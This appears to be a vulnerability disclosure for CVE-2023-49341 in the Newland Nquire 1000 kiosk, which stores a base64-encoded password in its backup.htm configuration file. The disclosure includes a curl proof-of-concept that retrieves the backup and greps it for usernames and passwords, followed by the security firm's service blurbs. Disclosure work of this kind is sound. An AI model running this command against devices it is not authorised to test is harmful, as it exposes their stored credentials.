Nov 27, 2023
CVE-2023-49341
Deiby Gerez (n0obit4) of Pentraze Cybersecurity
The Newland Nquire 1000 Interactive Kiosk suffer from Storing Passwords in a Recoverable Format by storing base64 encoded password into backup.htm configuration file, posing a severe risk to the confidentiality of sensitive information within the system.
6.5 (Medium) - CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
The identified vulnerability resides in the backup.htm configuration file, which contains the entire configuration of the device in JSON format. There is a Password key inside the Miscellaneous Authentication key object, containing a value encoded in Base64, which provides minimal security and can be easily decoded, exposing the passwords in a recoverable format.
Script to reproduce it
$ IP="<DEVICE IP ADDRESS>"
$ curl -s -XPOST http://$IP/backup.htm --data "action=backup" -H "Cookie: Token : 12345678" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36" | grep -iE "username|password"
Response:
Proactive assessment using tactics, techniques, and procedures of actual attackers to identify security flaws, incorrect configurations, and vulnerabilities.
Comprehensive application protection, ensuring robust security throughout the entire software development lifecycle.
Simulate and emulate advanced cyber attacks to pinpoint vulnerabilities and test your organization's defense mechanisms, ensuring robust resilience against real-world threats.
Proactive process to identify, prioritize, and address security vulnerabilities in systems and software, enhancing an organization's defense against evolving cyber threats.